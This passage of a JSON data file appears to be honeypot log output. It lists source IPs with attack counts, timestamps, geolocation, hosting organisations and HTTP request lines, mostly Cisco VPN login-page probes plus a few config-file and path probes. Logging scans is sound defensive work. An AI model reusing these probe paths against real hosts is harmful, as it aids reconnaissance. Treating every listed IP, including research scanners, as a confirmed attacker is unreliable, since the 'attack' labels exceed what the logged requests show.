      "first_seen": "2026-05-02T03:47:11.963Z",
      "last_seen": "2026-05-02T03:47:34.434Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "\"GET /version HTTP/1.1\" 404 -",
        "\"PRI * HTTP/2.0\" 505 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "code 505"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc."
    },
    "152.32.212.149": {
      "attack_count": 4,
      "first_seen": "2026-05-29T06:55:53.121Z",
      "last_seen": "2026-05-29T06:55:54.026Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "\"GET /robots.txt HTTP/1.1\" 404 -",
        "\"GET /sitemap.xml HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED"
    },
    "82.117.86.107": {
      "attack_count": 4,
      "first_seen": "2026-05-25T18:32:21.796Z",
      "last_seen": "2026-05-25T18:32:27.376Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "47.251.95.239": {
      "attack_count": 3,
      "first_seen": "2026-05-03T07:50:54.605Z",
      "last_seen": "2026-05-03T07:50:58.040Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd."
    },
    "65.49.1.174": {
      "attack_count": 3,
      "first_seen": "2026-05-11T10:45:20.324Z",
      "last_seen": "2026-05-11T10:46:07.613Z",
      "ports": [],
      "event_types": [
        "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -",
        "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -",
        "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "104.219.171.171": {
      "attack_count": 2,
      "first_seen": "2026-05-03T20:13:32.695Z",
      "last_seen": "2026-05-03T20:13:33.246Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "18.204.231.208": {
      "attack_count": 2,
      "first_seen": "2026-05-13T01:03:44.017Z",
      "last_seen": "2026-05-13T01:03:47.020Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "185.243.5.73": {
      "attack_count": 2,
      "first_seen": "2026-05-09T08:19:22.147Z",
      "last_seen": "2026-05-09T08:19:22.147Z",
      "ports": [],
      "event_types": [
        "\"OPTIONS sip:172.105.186.117 SIP/2.0\" 400 -",
        "code 400"
      ],
      "usernames_attempted": [],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 23470,
      "as_org": "ReliableSite.Net LLC"
    },
    "3.130.168.2": {
      "attack_count": 2,
      "first_seen": "2026-05-20T13:03:46.158Z",
      "last_seen": "2026-05-20T13:03:49.161Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Columbus",
      "asn": 16509,
      "as_org": "Amazon.com, Inc."
    },
    "3.88.220.252": {
      "attack_count": 2,
      "first_seen": "2026-05-30T05:31:56.748Z",
      "last_seen": "2026-05-30T05:31:59.749Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "54.242.178.61": {
      "attack_count": 2,
      "first_seen": "2026-05-02T00:54:59.098Z",
      "last_seen": "2026-05-02T00:55:02.101Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "64.62.156.64": {
      "attack_count": 2,
      "first_seen": "2026-05-04T07:53:01.563Z",
      "last_seen": "2026-05-04T07:53:16.625Z",
      "ports": [],
      "event_types": [
        "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -",
        "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "80.87.206.83": {
      "attack_count": 2,
      "first_seen": "2026-05-02T07:50:40.505Z",
      "last_seen": "2026-05-02T07:50:43.508Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS"
    },
    "100.24.47.223": {
      "attack_count": 1,
      "first_seen": "2026-05-26T00:59:27.535Z",
      "last_seen": "2026-05-26T00:59:27.535Z",
      "ports": [],
      "event_types": [
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "18.212.83.63": {
      "attack_count": 1,
      "first_seen": "2026-05-23T00:56:57.873Z",
      "last_seen": "2026-05-23T00:56:57.873Z",
      "ports": [],
      "event_types": [
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "185.220.101.182": {
      "attack_count": 1,
      "first_seen": "2026-05-24T01:27:16.891Z",
      "last_seen": "2026-05-24T01:27:16.891Z",
      "ports": [],
      "event_types": [
        "\"GET /recordings.old/config.all.php? HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Germany",
      "country_code": "DE",
      "city": "Brandenburg an der Havel",
      "asn": 60729,
      "as_org": "Stiftung Erneuerbare Freiheit"
    },
    "195.184.76.40": {
      "attack_count": 1,
      "first_seen": "2026-05-14T11:52:44.350Z",
      "last_seen": "2026-05-14T11:52:44.350Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/session_password.html HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Warrenton",
      "asn": 213412,
      "as_org": "ONYPHE SAS"
    },
    "216.218.206.105": {
      "attack_count": 1,
      "first_seen": "2026-05-08T10:37:29.145Z",
      "last_seen": "2026-05-08T10:37:29.145Z",
      "ports": [],
      "event_types": [
        "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Cazadero",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "216.218.206.68": {
      "attack_count": 1,
      "first_seen": "2026-05-22T05:12:17.513Z",
      "last_seen": "2026-05-22T05:12:17.513Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Cazadero",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "3.89.226.152": {
      "attack_count": 1,
      "first_seen": "2026-05-26T00:53:52.222Z",
      "last_seen": "2026-05-26T00:53:52.222Z",
      "ports": [],
      "event_types": [
        "\"GET /robots.txt HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "44.208.162.44": {
      "attack_count": 1,
      "first_seen": "2026-05-03T00:56:35.339Z",
      "last_seen": "2026-05-03T00:56:35.339Z",
      "ports": [],
      "event_types": [
        "\"GET /robots.txt HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "44.212.18.20": {
      "attack_count": 1,
      "first_seen": "2026-05-29T05:38:25.005Z",
      "last_seen": "2026-05-29T05:38:25.005Z",
      "ports": [],
      "event_types": [
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "54.226.226.30": {
      "attack_count": 1,
      "first_seen": "2026-05-11T00:57:11.384Z",
      "last_seen": "2026-05-11T00:57:11.384Z",
      "ports": [],
      "event_types": [
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "54.91.236.142": {
      "attack_count": 1,
      "first_seen": "2026-05-10T01:08:59.993Z",
      "last_seen": "2026-05-10T01:08:59.993Z",
      "ports": [],
      "event_types": [
        "\"GET /robots.txt HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "80.174.66.38": {
      "attack_count": 1,
      "first_seen": "2026-05-30T14:37:14.976Z",
      "last_seen": "2026-05-30T14:37:14.976Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.0\" 302 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Newport",
      "asn": 3257,
      "as_org": "GTT Communications Inc."
    },
    "83.245.52.70": {
      "attack_count": 1,
      "first_seen": "2026-05-30T15:37:15.314Z",
      "last_seen": "2026-05-30T15:37:15.314Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.0\" 302 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 3257,
      "as_org": "GTT Communications Inc."
    },
    "91.196.152.115": {
      "attack_count": 1,
      "first_seen": "2026-05-07T03:19:19.865Z",
      "last_seen": "2026-05-07T03:19:19.865Z",
      "ports": [],
      "event_types": [
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "France",
      "country_code": "FR",
      "city": "Roubaix",
      "asn": 213412,
      "as_org": "ONYPHE SAS"
    },
    "91.196.152.116": {
      "attack_count": 1,
      "first_seen": "2026-05-07T03:19:20.204Z",
      "last_seen": "2026-05-07T03:19:20.204Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -"
      ],
      "usernames_attempted": [],
      "country": "France",
      "country_code": "FR",
      "city": "Roubaix",
      "asn": 213412,
      "as_org": "ONYPHE SAS"
    },
    "91.230.168.88": {
      "attack_count": 1,
      "first_seen": "2026-05-03T11:45:13.255Z",
      "last_seen": "2026-05-03T11:45:13.255Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Hillsboro",
      "asn": 213412,
      "as_org": "ONYPHE SAS"
    },
    "170.62.100.94": {
      "attack_count": 96,
      "first_seen": "2026-05-20T19:48:23.652Z",
      "last_seen": "2026-05-30T14:18:42.847Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "Sweden",
      "country_code": "SE",
      "city": "Stockholm",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "37.19.221.162": {
      "attack_count": 69,
      "first_seen": "2026-05-02T06:44:18.912Z",
      "last_seen": "2026-05-29T21:57:42.124Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Houston",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "37.19.221.176": {
      "attack_count": 61,
      "first_seen": "2026-05-03T01:28:20.163Z",
      "last_seen": "2026-05-29T21:34:58.420Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Houston",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "68.235.46.142": {
      "attack_count": 57,
      "first_seen": "2026-05-03T04:26:19.421Z",
      "last_seen": "2026-05-30T08:40:30.152Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "89.185.80.11": {
      "attack_count": 56,
      "first_seen": "2026-05-31T00:45:41.060Z",
      "last_seen": "2026-05-31T05:18:55.345Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 215540,
      "as_org": "Global Connectivity Solutions Llp"
    },
    "138.199.43.71": {
      "attack_count": 36,
      "first_seen": "2026-05-04T10:07:26.618Z",
      "last_seen": "2026-05-24T01:02:19.314Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Seattle",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "68.235.46.81": {
      "attack_count": 36,
      "first_seen": "2026-05-08T14:31:55.909Z",
      "last_seen": "2026-05-28T01:23:05.585Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "146.70.211.93": {
      "attack_count": 33,
      "first_seen": "2026-05-02T08:30:52.095Z",
      "last_seen": "2026-05-25T09:16:58.584Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "23.234.92.68": {
      "attack_count": 33,
      "first_seen": "2026-05-07T11:27:42.092Z",
      "last_seen": "2026-05-27T20:08:22.589Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "San Jose",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.98.164": {
      "attack_count": 33,
      "first_seen": "2026-05-05T05:29:21.213Z",
      "last_seen": "2026-05-29T11:14:28.236Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "155.2.191.67": {
      "attack_count": 30,
      "first_seen": "2026-05-07T02:27:54.897Z",
      "last_seen": "2026-05-30T13:20:44.445Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 136557,
      "as_org": "Host Universal Pty Ltd"
    },
    "79.127.217.36": {
      "attack_count": 30,
      "first_seen": "2026-05-02T02:16:54.492Z",
      "last_seen": "2026-05-30T07:17:39.140Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "San Jose",
      "asn": 60068,
      "as_org": "Datacamp Limited"
    },
    "82.117.86.82": {
      "attack_count": 28,
      "first_seen": "2026-05-26T00:50:09.815Z",
      "last_seen": "2026-05-29T13:46:56.787Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "146.70.165.134": {
      "attack_count": 27,
      "first_seen": "2026-05-08T19:35:00.487Z",
      "last_seen": "2026-05-30T06:08:42.716Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "155.2.191.237": {
      "attack_count": 27,
      "first_seen": "2026-05-04T23:35:32.641Z",
      "last_seen": "2026-05-27T11:07:09.329Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 136557,
      "as_org": "Host Universal Pty Ltd"
    },
    "173.249.254.81": {
      "attack_count": 27,
      "first_seen": "2026-05-05T22:36:41.314Z",
      "last_seen": "2026-05-23T03:03:38.090Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "San Jose",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "185.213.193.207": {
      "attack_count": 24,
      "first_seen": "2026-05-02T02:46:31.914Z",
      "last_seen": "2026-05-27T18:23:28.851Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 21859,
      "as_org": "Zenlayer Inc"
    },
    "23.234.102.73": {
      "attack_count": 24,
      "first_seen": "2026-05-03T09:32:43.815Z",
      "last_seen": "2026-05-29T23:54:55.212Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.105.76": {
      "attack_count": 24,
      "first_seen": "2026-05-10T11:10:54.912Z",
      "last_seen": "2026-05-29T18:12:07.708Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "37.19.200.164": {
      "attack_count": 24,
      "first_seen": "2026-05-09T07:24:03.611Z",
      "last_seen": "2026-05-29T18:18:36.424Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "155.212.50.52": {
      "attack_count": 21,
      "first_seen": "2026-05-26T06:38:10.966Z",
      "last_seen": "2026-05-29T12:29:22.043Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "La Center",
      "asn": 204957,
      "as_org": "Green Floid LLC"
    },
    "172.120.182.249": {
      "attack_count": 21,
      "first_seen": "2026-05-27T06:05:01.436Z",
      "last_seen": "2026-05-27T15:01:46.549Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": null,
      "as_org": null
    },
    "172.121.85.64": {
      "attack_count": 21,
      "first_seen": "2026-05-26T06:04:04.603Z",
      "last_seen": "2026-05-29T01:10:20.460Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Miami",
      "asn": null,
      "as_org": null
    },
    "185.213.193.24": {
      "attack_count": 21,
      "first_seen": "2026-05-04T15:56:52.906Z",
      "last_seen": "2026-05-22T18:50:30.705Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 21859,
      "as_org": "Zenlayer Inc"
    },
    "186.243.237.31": {
      "attack_count": 21,
      "first_seen": "2026-05-26T19:23:54.693Z",
      "last_seen": "2026-05-30T10:42:33.843Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "23.162.40.68": {
      "attack_count": 21,
      "first_seen": "2026-05-05T13:56:13.512Z",
      "last_seen": "2026-05-29T14:54:09.511Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 400882,
      "as_org": "Cyber Data LLC"
    },
    "23.234.105.203": {
      "attack_count": 21,
      "first_seen": "2026-05-03T05:29:08.550Z",
      "last_seen": "2026-05-25T17:58:24.093Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.78.67": {
      "attack_count": 21,
      "first_seen": "2026-05-04T12:48:04.304Z",
      "last_seen": "2026-05-22T19:03:12.631Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Raleigh",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "138.199.43.86": {
      "attack_count": 18,
      "first_seen": "2026-05-05T15:54:18.218Z",
      "last_seen": "2026-05-26T19:08:19.132Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Seattle",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "173.249.255.164": {
      "attack_count": 18,
      "first_seen": "2026-05-05T04:19:58.417Z",
      "last_seen": "2026-05-30T07:00:08.996Z",
      "ports": [],
